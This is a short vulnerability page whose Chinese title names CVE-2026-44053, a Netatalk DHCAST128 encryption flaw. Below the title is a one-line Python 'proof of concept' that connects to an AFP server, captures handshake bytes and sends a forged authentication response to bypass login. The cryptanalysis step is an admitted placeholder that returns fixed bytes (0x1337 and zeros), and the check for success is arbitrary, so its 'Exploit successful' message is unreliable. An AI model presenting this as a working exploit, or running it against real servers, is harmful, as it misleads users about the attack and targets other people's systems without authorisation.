CVE-2026-44053 Netatalk加密算法缺陷漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-44053 (Netatalk DHCAST128 Weakness) # This script demonstrates the attack concept by simulating the cryptanalysis of the weak algorithm. import socket import struct def exploit(target_ip, target_port=548): print(f"[*] Targeting {target_ip}:{target_port}...") try: # Step 1: Establish connection to AFP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) print("[+] Connected to AFP service.") # Step 2: Simulate receiving the handshake challenge (Step 2 of DHCAST128) # In a real attack, we capture the encrypted challenge from the wire. challenge_data = s.recv(1024) print(f"[*] Captured handshake data: {challenge_data.hex()}") # Step 3: Cryptanalysis of the weak algorithm # Due to the broken algorithm in CVE-2026-44053, we can derive the session key # or forge the response without knowing the plain text password. print("[*] Performing cryptanalysis on the weak DHCAST128 implementation...") # Mock function representing the mathematical exploitation forged_response = cryptanalyze_weakness(challenge_data) # Step 4: Send forged authentication response s.send(forged_response) # Step 5: Check authentication result result = s.recv(1024) if b"Login" in result or result[0] == 0x02: print("[!] Exploit successful! Authentication bypassed.") else: print("[-] Exploit failed.") s.close() except Exception as e: print(f"[-] Error: {e}") def cryptanalyze_weakness(data): # This represents the vulnerability exploitation logic. # The weak algorithm allows reversing the challenge or predicting the nonce. # Returning a mock payload structure for the AFP response. print("[+] Weakness found: Deriving response vector...") return struct.pack('>I', 0x1337) + b"\x00" * 16 # Placeholder for the forged token if __name__ == "__main__": # Replace with actual target IP exploit("192.168.1.100")